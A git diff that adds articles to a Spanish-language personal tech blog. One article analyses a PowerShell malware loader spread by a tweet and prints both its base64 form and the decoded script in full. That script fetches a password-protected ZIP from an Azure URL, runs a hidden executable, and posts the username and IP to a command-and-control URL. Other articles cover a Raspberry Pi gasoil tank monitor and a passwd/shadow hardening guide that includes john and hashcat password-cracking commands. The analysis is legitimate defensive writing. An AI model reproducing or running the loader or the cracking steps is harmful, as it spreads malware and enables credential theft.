sAG8AYQBkAEYAaQBsAGUAKAAkAHoAbAAsACAAJAB6AHAAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHoAcAApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkACAAPQAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYgByAGUAYQBrAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQAKAAoAIAAgACAAIABpAGYAIAAoAC0AbgBvAHQAIAAkAGQAKQAgAHsACgAgACAAIAAgACAAIAAgACAAcwB0AGcAIAAiAEUAUgBSAE8AUgAiACAAIgBaAEkAUAAgAGQAbwB3AG4AbABvAGEAZAAgAGYAYQBpAGwAZQBkACIACgAgACAAIAAgACAAIAAgACAAZQB4AGkAdAAKACAAIAAgACAAfQAKAAoAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBGAGkAbABlAFMAeQBzAHQAZQBtAAoAIAAgACAAIABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAFoAaQBwAEYAaQBsAGUAXQA6ADoARQB4AHQAcgBhAGMAdABUAG8ARABpAHIAZQBjAHQAbwByAHkAKAAkAHoAcAAsACAAJAB0AGYAKQAKAAoAIAAgACAAIAAkAHMANwAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAALQBQAGEAdABoACAAJAB0AGYAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAaQBsAHQAZQByACAAIgA3AHoAcgAuAGUAeABlACIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAJABhADcAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAdABmACAALQBSAGUAYwB1AHIAcwBlACAALQBGAGkAbAB0AGUAcgAgACIAKgAuADcAegAiACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABzADcAIAAtAG8AcgAgAC0AbgBvAHQAIAAkAGEANwApACAAewAKACAAIAAgACAAIAAgACAAIABzAHQAZwAgACIARQBSAFIATwBSACIAIAAiADcAegAgAG8AcgAgAGUAeAB0AHIAYQBjAHQAbwByACAAbgBvAHQAIABmAG8AdQBuAGQAIgAKACAAIAAgACAAIAAgACAAIABlAHgAaQB0AAoAIAAgACAAIAB9AAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcwA3AC4ARgB1AGwAbABOAGEAbQBlACAAYAAKACAAIAAgACAAIAAgACAAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgB4ACIALAAgACIAYAAiACQAKAAkAGEANwAuAEYAdQBsAGwATgBhAG0AZQApAGAAIgAiACwAIAAiAC0AbwAkAGUAcAAiACwAIAAiAC0AcAAkAHAAegAiACwAIAAiAC0AeQAiACAAYAAKACAAIAAgACAAIAAgACAAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0AAoACgAgACAAIAAgACQAZQB4ACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGUAcAAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARgBpAGwAdABlAHIAIAAqAC4AZQB4AGUAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAAMQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABlAHgAKQAgAHsACgAgACAAIAAgACAAIAAgACAAcwB0AGcAIAAiAEUAUgBSAE8AUgAiACAAIgBOAG8AIAAuAGUAeABlACAAZgBvAHUAbgBkACAAYQBmAHQAZQByACAAZQB4AHQAcgBhAGMAdABpAG8AbgAiAAoAIAAgACAAIAAgACAAIAAgAGUAeABpAHQACgAgACAAIAAgAH0ACgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABlAHgALgBGAHUAbABsAE4AYQBtAGUAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAAoACgAgACAAIAAgAHMAdABnACAAIgBTAFUAQwBDAEUAUwBTACIAIAAiACIACgB9AAoAYwBhAHQAYwBoACAAewAKACAAIAAgACAAcwB0AGcAIAAiAEUAUgBSAE8AUgAiACAAIgBVAG4AZQB4AHAAZQBjAHQAZQBkACAAZgBhAGkAbAB1AHIAZQAiAAoAfQA=');
+Invoke-Expression (${tFCTUeCs}.GetString(${YqMACnAc}))</codeb></pre>
+<p>El código es un script de PowerShell ofuscado, por lo que lo primero que hace es indicar cómo decodificarlo.</p>
+<p>El tipo de codificación es Unicode como vemos en <emb>$tFCTUeCs=[System.Text.Encoding]::Unicode</emb>, la cadena codificada en Base64 está en <emb>$YqMACnAc=[Convert]::FromBase64String(...)</emb> y la orden <emb>Invoke-Expression (${tFCTUeCs}.GetString(${YqMACnAc}))</emb> decodifica la cadena Base64 a texto Unicode, después la ejecuta como código PowerShell.</p>
+<p>Al decodificar la cadena en la terminal con:</p>
+<pre><code>echo $CADENA | base64 -d</code></pre>
+<p>Obtenemos el script malicioso de PowerShell:</p>
+<pre><code>$btag = "#1ReSeT"
+# DoUBCeZQBVeOBNc
+$tgd = "-1002597401339"
+$hd = "https://hkdk.events/7tvn4iqs278dqo"
+$zl = "https://dev.azure.com/downupdates/0be79736-6ca9-491b-be21-001593e48d88/_apis/git/repositories/ba03a5b6-2221-4f00-ad12-11f9eaa7a9bd/items?path=/run47.zip&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5D=main&resolveLfs=true&%24format=octetStream&api-version=5.0&download=true"
+$pz = "Qweqwe123123"
+
+function stg {
+ param (
+ [string]$s,
+ [string]$m
+ )
+
+ try {
+ $ip = (Invoke-RestMethod -Uri "https://api.ipify.org?format=json").ip
+ } catch {
+ $ip = "Unknown"
+ }
+
+ $u = $env:USERNAME
+ $t = (Get-Date -Format s)
+ $txt = "$btag`n[$s] $m`nUser: $u`nIP: $ip`nTime: $t"
+
+ $b = @{
+ chat_id = $tgd
+ text = $txt
+ } | ConvertTo-Json -Depth 3
+
+ try {
+ Invoke-RestMethod -Uri $hd `
+ -Method POST `
+ -Headers @{ "Content-Type" = "application/json" } `
+ -Body $b | Out-Null
+ } catch {}
+}
+
+try {
+ $bf = "$env:APPDATA\NVIDIA\UpdateService"
+ $ma = 3
+ $d = $false
+
+ for ($i = 1; $i -le $ma; $i++) {
+ $r = -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 5 | % {[char]$_})
+ $tf = "$bf\T$r"
+ $zp = "$tf\z.zip"
+ $ep = "$tf\c"
+
+ try {
+ if (-not (Test-Path $tf)) {
+ New-Item -ItemType Directory -Path $tf -Force | Out-Null
+ New-Item -ItemType Directory -Path $ep -Force | Out-Null
+ }
+
+ $nv = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" -ErrorAction SilentlyContinue).Release
+ if ($nv -and $nv -ge 378389) {
+ Add-Type -AssemblyName "System.Net.Http"
+ $cl = [System.Net.Http.HttpClient]::new()
+ $cl.DefaultRequestHeaders.Add("User-Agent", "Mozilla/5.0")
+ $bs = $cl.GetByteArrayAsync($zl).Result
+ [System.IO.File]::WriteAllBytes($zp, $bs)
+ } else {
+ $wc = New-Object System.Net.WebClient
+ $wc.Headers.Add("User-Agent", "Mozilla/5.0")
+ $wc.DownloadFile($zl, $zp)
+ }
+
+ if (Test-Path $zp) {
+ $d = $true
+ break
+ }
+ } catch {
+ Start-Sleep -Seconds 1
+ }
+ }
+
+ if (-not $d) {
+ stg "ERROR" "ZIP download failed"
+ exit
+ }
+
+ Add-Type -AssemblyName System.IO.Compression.FileSystem
+ [IO.Compression.ZipFile]::ExtractToDirectory($zp, $tf)
+
+ $s7 = Get-ChildItem -Path $tf -Recurse -Filter "7zr.exe" | Select-Object -First 1
+ $a7 = Get-ChildItem -Path $tf -Recurse -Filter "*.7z" | Select-Object -First 1
+
+ if (-not $s7 -or -not $a7) {
+ stg "ERROR" "7z or extractor not found"
+ exit
+ }
+
+ Start-Process -FilePath $s7.FullName `
+ -ArgumentList "x", "`"$($a7.FullName)`"", "-o$ep", "-p$pz", "-y" `
+ -WindowStyle Hidden -Wait
+
+ $ex = Get-ChildItem -Path $ep -Recurse -Filter *.exe | Select-Object -First 1
+ if (-not $ex) {
+ stg "ERROR" "No .exe found after extraction"
+ exit
+ }
+
+ Start-Process -FilePath $ex.FullName -WindowStyle Hidden
+
+ stg "SUCCESS" ""
+}
+catch {
+ stg "ERROR" "Unexpected failure"
+}</code></pre>
+<p>No voy a detallar línea a línea porque sería un trabajo bastante tedioso, pero realizaré una lectura vertical. Para empezar, variables de interés:</p>
+<ul>
+<li><emb>$btag = "#1ReSeT"</emb> no estoy seguro de qué es, parece un identificador para rastrear la ejecución o algo. </li>
+<li><emb>$tgd = "-1002597401339"</emb> parece otro identificador, posiblemente para un chat o bot de Telegram.</li>
+<li><emb>$hd = "https://hkdk.events/7tvn4iqs278dqo"</emb> es una URL del servidor de comando y control.</li>
+<li>Una URL que descarga de los servidores de Azure un archivo ZIP (<emb>run47.zip</emb>):
+<pre><codeb>$zl = "https://dev.azure.com/downupdates/0be79736-6ca9-491b-be21-001593e48d88/_apis/git/repositories/ba03a5b6-2221-4f00-ad12-11f9eaa7a9bd/items?path=/run47.zip&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5D=main&resolveLfs=true&%24format=octetStream&api-version=5.0&download=true"</codeb></pre></li>
+<li><emb>$pz = "Qweqwe123123"</emb> la contraseña para el ZIP.</li>
+</ul>
+<p>Después, la función <emb>stg</emb> recolecta informción del sistema, obtiene la dirección IP pública mediante una llamada a api.ipify.org, obtiene el nombre de usuario (<emb>$env:USERNAME</emb>) y la fecha y hora, contruye un mensaje con <emb>$btag</emb> y la información anterior y, finalmente, envía esta información como JSON a la URL del servidor de control mediante POST.</p>
+<p>A continuación define el directorio <emb>%APPDATA%\NVIDIA\UpdateService</emb> y genera un nombre aleatorio para una subcarpeta, descarga el zip <emb>run47.zip</emb> de Azure usando e un HttpClient o WebClient, dependiendo de la versión de .NET que tenga la víctima y lo extrae en el directorio definido. No estoy entrando en cada bucle ni control de errores, ya que lo creo irrelevante para la entrada.</p>
+<p>Una vez extraídos, ejecuta <emb>7zr.exe</emb> para extraer el <emb>7z</emb> contenido en los archivos extraídos del zip; usando además la contraseña declarada en las variables. Después invoca un ejecutable (<emb>.exe</emb>).</p>
+<p>Conocer el propósito del ejecutable es más difícil, habría que ejecutar técnicas de ingeniería inversa para averiguar qué hace, pero podría hacer cualquier cosa: ransomware, troyano, software espía, minero de criptomonedas... Quizá si tenga tiempo me aventiure a montar una máquina virtual aislada con Windows para ejecutarlo y ver qué hace. O analizar el exe a ver si podemos averiguar parte del código y poder deducirlo.</p>
+<p>Desde luego, nunca dejará de sorprenderme la capacidad y el ingenio humano para el transmitir elementos maliciosos, y como decía, lo peor es que todo este procedimiento de scripting es únicamente para descargar y ejecutar el malware. Es decir, ni si quiera hemos tocado la superficie del malware, sólo su método de infección y propagación.</p>
+<p>El tweet ya ha sido eliminado, pero de su eliminación he podido ver que tenía casi 100.000 visualizaciones, es decir, 100.000 de potenciales víctimas; y sólo ha estado publicado 2 horas por una cuenta de unos 50 seguidores. Imagínense las campañas que cuenten con más recursos.</p>
+</body>
+</html>
+\ No newline at end of file
diff --git a/tanque-gasoil/index.html b/tanque-gasoil/index.html
@@ -0,0 +1,219 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+<title>Monitorización de capacidad de tanque de gasoil mediante sensor de ultrasonido</title>
+<link rel="icon" type="image/png" href="/favicon.png" />
+<link rel="stylesheet" type="text/css" href="../article.css" />
+</head>
+<body>
+<header>
+<p class="title">Monitorización de capacidad de tanque de gasoil mediante sensor de ultrasonido</p>
+<p class="date">21 de junio de 2022 • fjbalon</p>
+</header>
+<p>Este proyecto consiste en desarrollar un método para monitorizar la capacidad utilizada en un tanque de gasoil, que nutre una caldera. Existen diversas técnicas para lograrlo, pero la que considero más sencilla y más técnica es hacerlo a través de un sensor ultrasónico. Este sensor enviará los datos digitalizados a una Raspberry Pi 3B, que los procesará y almacenará, de tal forma que permita mantener un registro de monitorización y estadísticas de tiempo.</p>
+<p>Mi idea es poder tener la información accesible desde el PC u otros equipos informáticos, con el objetivo de poder predecir cuándo será necesario rellenar el tanque de nuevo, antes de que se gaste el gasoil, y poder observar la tasa de uso de gasoil en el tiempo, con tal de poder aplicar inteligencia. Por ejemplo, cotejar y relacionar el gasto de inverno con respecto verano; las horas y duración de las duchas, el gasto de calefacción, etcétera.</p>
+<h2>Funcionamiento del sensor</h2>
+<p>¿Cómo funciona el sensor de ultrasonido y cómo calculamos la distancia?. El funcionamiento es simple. El sensor crea un pulso de disparo en TRIG (trigger), enviando pulsos de 40kHz (manteniendo el estado de TRIG en HIGH durante un mínimo de 10µs). Inmediatamente, el circuito de control en el sensor cambiará el estado del pin de ECHO a HIGH, y manteniéndose así hasta que el pulso ultrasónico rebote con un objeto y regresa al receptor. En función del tiempo durante el cual el pin de ECHO permanece HIGH, esperando recibir de vuelta el pulso enviado, podemos calcular la distancia entre sensor y objeto. El emisor de pulsos es T, y el receptor es R.</p>
+<p>Por poner un ejemplo, si calculamos el tiempo para el cual el ECHO es HIGHT como 588µs, y tomando que la velocidad del sonido en la atmósfera terrestre es de 343,2m/s:</p>
+<math xmlns="http://www.w3.org/1998/Math/MathML" alttext="D=\frac{\upsilon}{(t/2)}=\frac{343,2}{(588\mu/2)}=5656565656" display="block">
+<mrow>
+ <mi>D</mi>
+ <mo>=</mo>
+ <mfrac>
+ <mi>υ</mi>
+ <mrow>
+ <mo stretchy="false">(</mo>
+ <mrow>
+ <mi>t</mi>
+ <mo>/</mo>
+ <mn>2</mn>
+ </mrow>
+ <mo stretchy="false">)</mo>
+ </mrow>
+ </mfrac>
+ <mo>=</mo>
+ <mfrac>
+ <mrow>
+ <mn>343,2</mn>
+ <mi>m/s</mi>
+ </mrow>
+ <mrow>
+ <mo stretchy="false">(</mo>
+ <mrow>
+ <mrow>
+ <mn>588</mn>
+ <mo></mo>
+ <mi>μs</mi>
+ </mrow>
+ <mo>/</mo>
+ <mn>2</mn>
+ </mrow>
+ <mo stretchy="false">)</mo>
+ </mrow>
+ </mfrac>
+ <mo>=</mo>
+ <mn>1,17cm</mn>
+</mrow>
+</math>
+<h2>Conexiones electrónicas</h2>
+<p>Conectamos el pin TRIG del sensor ultrasónico al pin físico 16, es decir, el pin GPIO23 de la raspy. Usamos posteriormente una combinación de resistencia de 1kΩ y 2kΩ para convertir el pin de ECHO a 3.3V (aproximadamente) y conéctelo al pin físico 18 (GPIO24). Finalmente proporcionamos las conexiones de +5V y GND. El esquema de comunicaciones electrónicas quedaría tal que:</p>
+<img class="color-invertible" style="width:50%" src="resources/ultrasonido01.png"/>
+<h2>Cálculo de distancia contra objeto</h2>
+<p>Una vez sabemos cómo calcular la distancia y tenemos conectado el sensor a nuestra CPU, el siguiente paso consiste en probar las ecuaciones anteriores bajo un código (usaremos Python), que muestre por stdout cada segundo la distancia medida. El código será:</p>
+<pre><code>import RPi.GPIO as GPIO
+import time
+
+GPIO.setmode(GPIO.BCM)
+GPIO_TRIGGER = 23
+GPIO_ECHO = 24
+GPIO.setup(GPIO_TRIGGER, GPIO.OUT)
+GPIO.setup(GPIO_ECHO, GPIO.IN)
+
+GPIO.output(GPIO_TRIGGER, True)
+time.sleep(0.00001)
+GPIO.output(GPIO_TRIGGER, False)
+
+StartTime = time.time()
+StopTime = time.time()
+
+while GPIO.input(GPIO_ECHO) == 0:
+ StartTime = time.time()
+
+while GPIO.input(GPIO_ECHO) == 1:
+ StopTime = time.time()
+
+TimeElapsed = StopTime - StartTime
+distance = (TimeElapsed * 34320) / 2
+
+print ("Distance = %.1f cm" % distance)</code></pre>
+<p>Obteniendo unos resultados positivos como:</p>
+<pre><code>./distance.py
+Distance = 85.8 cm</code></pre>
+<h2>Cálculo de subcuboide</h2>
+<p>Dado un cuboide de 112x100x71, que corresponde a las medidas aproximadas del tanque de gasoil:</p>
+<img class="color-invertible" style="width:25%" src="resources/cuboide.png"/>
+<p>Y recibido el valor de distancia entre sensor y gasoil, es sencillo calcular las medidas del subcuboide resultante. Por ejemplo, dada una distancia de 85cm:</p>
+<img class="color-invertible" style="width:50%" src="resources/subcuboide.png"/>
+<p>Obtendríamos un subcuboide de 15x112x71 que corresponde a
+<math xmlns="http://www.w3.org/1998/Math/MathML" alttext="x*(y-d)*z=112*(100-85)*71=119280cm^{3}=119L">
+<mrow>
+ <mrow>
+ <mi>x</mi>
+ <mo>*</mo>
+ <mrow>
+ <mo stretchy="false">(</mo>
+ <mrow>
+ <mi>y</mi>
+ <mo>-</mo>
+ <mi>d</mi>
+ </mrow>
+ <mo stretchy="false">)</mo>
+ </mrow>
+ <mo>*</mo>
+ <mi>z</mi>
+ </mrow>
+ <mo>=</mo>
+ <mrow>
+ <mn>112</mn>
+ <mo>*</mo>
+ <mrow>
+ <mo stretchy="false">(</mo>
+ <mrow>
+ <mn>100</mn>
+ <mo>-</mo>
+ <mn>85</mn>
+ </mrow>
+ <mo stretchy="false">)</mo>
+ </mrow>
+ <mo>*</mo>
+ <mn>71</mn>
+ </mrow>
+ <mo>=</mo>
+ <mrow>
+ <mn>119280</mn>
+ <mo></mo>
+ <mi>c</mi>
+ <mo></mo>
+ <msup>
+ <mi>m</mi>
+ <mn>3</mn>
+ </msup>
+ </mrow>
+ <mo>=</mo>
+ <mrow>
+ <mn>119</mn>
+ <mo></mo>
+ <mi>L</mi>
+ </mrow>
+</mrow>
+</math>
+de un total de
+<math xmlns="http://www.w3.org/1998/Math/MathML" alttext="112*100*71=795200cm^{3}=795L">
+<mrow>
+ <mrow>
+ <mn>112</mn>
+ <mo>*</mo>
+ <mn>100</mn>
+ <mo>*</mo>
+ <mn>71</mn>
+ </mrow>
+ <mo>=</mo>
+ <mrow>
+ <mn>795200</mn>
+ <mo></mo>
+ <mi>c</mi>
+ <mo></mo>
+ <msup>
+ <mi>m</mi>
+ <mn>3</mn>
+ </msup>
+ </mrow>
+ <mo>=</mo>
+ <mrow>
+ <mn>795</mn>
+ <mo></mo>
+ <mi>L</mi>
+ </mrow>
+</mrow>
+</math>
+<p>, un 14% de capacidad.</p>
+<p>Una vez obtenidos los datos, adaptamos el script de forma simple stdin/stdout (para monitorización) de forma que devuelva un float con los litros restantes según los parámetros de entrada:</p>
+<pre><code>ancho=112 # Coordinate axis x: ancho / width
+alto=100 # Coordinate axis y: alto / height
+profundidad=71 # Coordenate axis z: profundidad / depth
+
+def volumenCuboide(x,y,z):
+ return x * y * z
+
+def subcuboide(x,y,z,d):
+ s = y - d
+ return volumenCuboide(x,s,z)
+
+l = subcuboide(ancho,alto,profundidad,distance)/1000 # Divsion by 100 for cm^3 to liters
+print ("%.1f" % l)</code></pre>
+<p>Así:</p>
+<pre><code>./gasoil40kHz.py
+119.4</code></pre>
+<h2>Instalación en tanque</h2>
+<p>Con todo ideado y probado, aquí os muestro unas fotografías reales de cómo conseguí dejarlo más o menos estable, de la forma más perpendicular posible al eje x del tanque.</p>
+<p>Me valgo de uno de los tapones del tanque para colocar, usando adhesivos, y de la forma más perpendicular posible al eje x del tanque, el sensor de ultrasonido. Aprovecho que los cable son finos para pasarlos por el aislante de la propia prensa del tapón, quedando el resto del circuito fuera.</p>
+<img style="width:100%" src="resources/tanque-gasoil.png"/>
+<p>Una vez instalado, para realizar la obtención de datos gráficos configuramos la máquina receptora de los datos del sensor en un agente de <a href="https://zabbix.com">Zabbix</a>. Añadimos un UserParameter que contenga la llamada al script, de forma que obtengamos los valores directamente desde el servidor de Zabbix.</p>
+<pre><code># /etc/zabbix/zabbix_agentd.conf
+PidFile=/var/run/zabbix/zabbix_agentd.pid
+LogFile=/var/log/zabbix/zabbix_agentd.log
+LogFileSize=0
+AllowKey=system.run[*]
+Server=172.16.0.1
+ServerActive=172.16.0.1
+Hostname=gasoil40kHz
+Include=/etc/zabbix/zabbix_agentd.d/*.conf
+UserParameter=Gasoil,/home/pi/gasoil.py</code></pre>
+<p>Con esto y en monitorización a través de Zabbix de estos valores, podemos configurar y dibujar gráficas.</p>
+<img class="color-invertible" style="width:100%" src="resources/graph.png"/>
+<p>Como se ve en la gráfica, el procedimiento requiere de pulido. Hay un cierto baile de datos en cuanto a las lecturas, por eso he empleado una gráfica de puntos para notar las variaciones de lectura, que pueden deberse a gases propios del fluido monitorizado; o a movimientos de la superficie del tanque provocados por el extractor de gasoil hacia la caldera. De todas formas, para el uso y la línea de tiempo sobra y basta.</p>
+<p>El margen de error presente se encuentra en unos 6l. Pero con dicho margen se puede hacer una aproximación fidedigna del rango de capacidad y consumo del tanque.</p>
+</body>
+</html>
+\ No newline at end of file
diff --git a/tanque-gasoil/resources/cuboide.png b/tanque-gasoil/resources/cuboide.png
Binary files differ.
diff --git a/tanque-gasoil/resources/graph.png b/tanque-gasoil/resources/graph.png
Binary files differ.
diff --git a/tanque-gasoil/resources/subcuboide.png b/tanque-gasoil/resources/subcuboide.png
Binary files differ.
diff --git a/tanque-gasoil/resources/tanque-gasoil.png b/tanque-gasoil/resources/tanque-gasoil.png
Binary files differ.
diff --git a/tanque-gasoil/resources/ultrasonido01.png b/tanque-gasoil/resources/ultrasonido01.png
Binary files differ.
diff --git a/tanque-gasoil/resources/ultrasonido02.jpg b/tanque-gasoil/resources/ultrasonido02.jpg
Binary files differ.
diff --git a/unix-passwd/index.html b/unix-passwd/index.html
@@ -0,0 +1,66 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+<title>Hardening de passwd y shadow</title>
+<link rel="icon" type="image/png" href="/favicon.png" />
+<link rel="stylesheet" type="text/css" href="../article.css" />
+</head>
+<body>
+<header>
+<p class="title">Hardening de passwd y shadow</p>
+<p class="date">12 de febrero de 2016 • fjbalon</p>
+</header>
+<p>El contenido del fichero <emb>/etc/passwd</emb> determina el esqueleto de usuarios del sistema, constituyéndose como la primera línea de defensa del sistema contra accesos no deseados, por lo que debe mantenerse escrupulosamente y libre de errores y fallos de seguridad. En él mantenemos registrados las cuentas de usuarios, asi como las claves de accesos y privilegios. Separado por :, indica respectivamente el nombre del usuario, la clave cifrada, UID, GID, nombre completo del usuario, directorio de trabajo (<emb>/home</emb>) e intérprete usado. Si el campo de contraseña, en lugar de contener la clave cifrada contiene una x indica que la clave se encuentra cifrada en el archivo <emb>/etc/shadow</emb>, dando un mayor grado de seguridad. La sintaxis de passwd es:</p>
+<pre><code>usuario1:FXWUuZ.vwXttg:500:501:usuario pepito:/home/usuario1:/bin/bash</code></pre>
+<p>Los permisos predeterminados de passwd son 644 y los propietarios son root:root, evitando modificaciones erróneas, de modo que cualquier usuario sólo pueda leer el archivo.</p>
+<p>Por otro lado, el archivo <emb>/etc/shadow</emb> almacena información sensible de los usuarios; que separados por :, indica respectivamente el nombre del usuario, la clave cifrada, el lastchanged o último cambio de contraseña en días transcurridos desde el 1 de enero de 1970, el mínimo número de días entre cambios de contraseña, el máximo número de días de validez de la cuenta, los días que avisa antes de caducar la cuenta, los días desde que caduca una contraseña para deshabilitar la cuenta y la fecha de caducidad de la cuenta en días transcurridos desde el 1 de enero de 1970. Su sintaxis es:</p>
+<pre><code>test:$1$CQoPk7Zh$370xDLmeGD9m4aF/ciIlC.:14425:0:99999:7:::</code></pre>
+<p>Los permisos predeterminados de passwd son 400 y los propietarios son root:root, sólo puede leer root. La contraseña se puede cifrar utilizando diferentes métodos, que son reconocidos por el identificador presente después del primer carácter $$. A continuación puedes tener el valor del id y la técnica de cifrado correspondiente que indica:</p>
+<pre><codeb>$1$: MD5: $1$5df9f63916ebf8528697b629022993e8/li>
+$2a$: blowfish (pez globo): $2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy</li>
+$5$: SHA-256: $5$93fa3e4624676f2e9aa143911118b4547087e9b6e0b6076f2e1027d7a2da2b0a
+$6$: SHA-512: $6$6859f96680702a57a951eabe43fec49964ea51dde72df97e43a1fcf6f8b41b89a51cae8f3162c0cbb3e7fd0850577759aa653e25c4bdfd57264015fa6588360f</codeb></pre>
+<p>De la misma forma que se organiza y componen los ficheros anteriores sobre los usuarios, tenemos los ficheros <emb>/etc/group</emb> (similar a <emb>/etc/passwd</emb>) y <emb>/etc/gshadow</emb> (similar a <emb>/etc/shadow</emb>); ambos con la diferencia que no se centran en los usuarios, sino en los grupos, que separados por :, indica respectivamente el nombre de grupo, la clave cifrada, GID y la lista de usuarios que pertenecen al grupo separados por ,. La sintaxis es:</p>
+<pre><code>root:x:0:root</code></pre>
+<h2>Verificación de integridad de passwd</h2>
+<p><emb>pwck</emb> comprueba la integridad y la información de autenticación, comprobando que cada entrada de passwd y shadow tienen el formato adecuado y que los datos sean válidos:</p>
+<pre><code>pwck /etc/passwd
+usuario malvado: el directorio /home/malvado no existe
+pwck: sin cambios</code></pre>
+<h2>Descifrando claves con john</h2>
+<p>En caso de tener acceso a passwd y shadow, algo que por lo general ya supone un reto debido a la estructura de permisos, podemos unshadow y buscar descifrarla mediante fuerza bruta o diccionario, usaremos john the ripper para ello.</p>
+<pre><code>unshadow /etc/passwd /etc/shadow > unshadowed</code></pre>
+<p>De tal forma que obtenemos las líneas passwd puras, en fusión con los datos necesarios secretos de shadow. De al forma que este nuevo fichero podemos pasarlo a john:</p>
+<pre><code>john unshadowed # Fuerza bruta
+john --incremental unshadowed # Fuerza bruta
+john --wordlist=diccionario.lst --rules unshadowed # Diccionario
+
+Using default input encoding: UTF-8
+Loaded 4 password hashes with 4 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
+Remaining 1 password hash
+Cost 1 (iteration count) is 5000 for all loaded hashes
+Will run 2 OpenMP threads
+Proceeding with single, rules:Single
+...</code></pre>
+<p>Una vez finalizado el proceso, si todo ha ido bien, podremos revisar las claves cracked desde:</p>
+<pre><code>john --show passwords
+maria:Passw0rd2233:1006:1006::/home/maria:/bin/bash
+1 password hashes cracked, 3 left</code></pre>
+<h2>Descifrando claves con hashcat</h2>
+<p>Hashcat es otra herramienta archi-conocida de craking para una amplia variedad de tipos de hashes de passwords, soportando los algoritmos de hash comunes de GNU/Linux y sus códigos hashcat:</p>
+<ul>
+<li>DES (Unix) = 1500</li>
+<li>MD5 = 0</li>
+<li>MD5 (Unix $1$) = 500</li>
+<li>Blowfish (Unix $2*$) = 3200</li>
+<li>SHA1 = 100</li>
+<li>SHA-256 = 1400</li>
+<li>SHA-256 (Unix $5$) = 7400</li>
+<li>SHA-512 = 1700</li>
+<li>SHA-512 (Unix $6$) = 1800</li>
+</ul>
+<pre><code>hashcat -m 1800 -a 0 passwords diccionario.code -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule -o cracked.code --force</code></pre>
+</body>
+</html>
+\ No newline at end of file
diff --git a/unix-permisos/index.html b/unix-permisos/index.html
@@ -0,0 +1,129 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+<title>De la heredad de permisos y propietarios de Unix</title>
+<link rel="icon" type="image/png" href="/favicon.png" />
+<link rel="stylesheet" type="text/css" href="../article.css" />
+</head>
+<body>
+<header>
+<p class="title">De la heredad de permisos y propietarios de Unix</p>
+<p class="date">2 de abril de 2016 • fjbalon</p>
+</header>
+<p>La comprensión del fichero o archivo, file para los anglosajones, es fundamental para comprender la estructura y funcionamiento lógico de Unix. Un fichero es una colección de bytes agrupados bajo un mismo nombre, simple. En Unix, todo es un fichero; todo. Incluso un directorio es un fichero especial que agrupa otros ficheros, y estos a su vez se agrupan en otros directorios. Es la estructura lógica de catalogación.</p>
+<p>Los directorios se ordenan en una jerarquía muy clara y concisa en Unix, y al tronco de estos directorios se les denomina árbol; por eso el inicio de todo es la raíz.</p>
+<p>Las extensiones de los ficheros son una simple convención que determina un subnombre o cadena de caracteres anexa separada mediante un punto, que ayudan a diversos softwares y al humano a diferenciar entre distintos tipos de datos o contenido.</p>
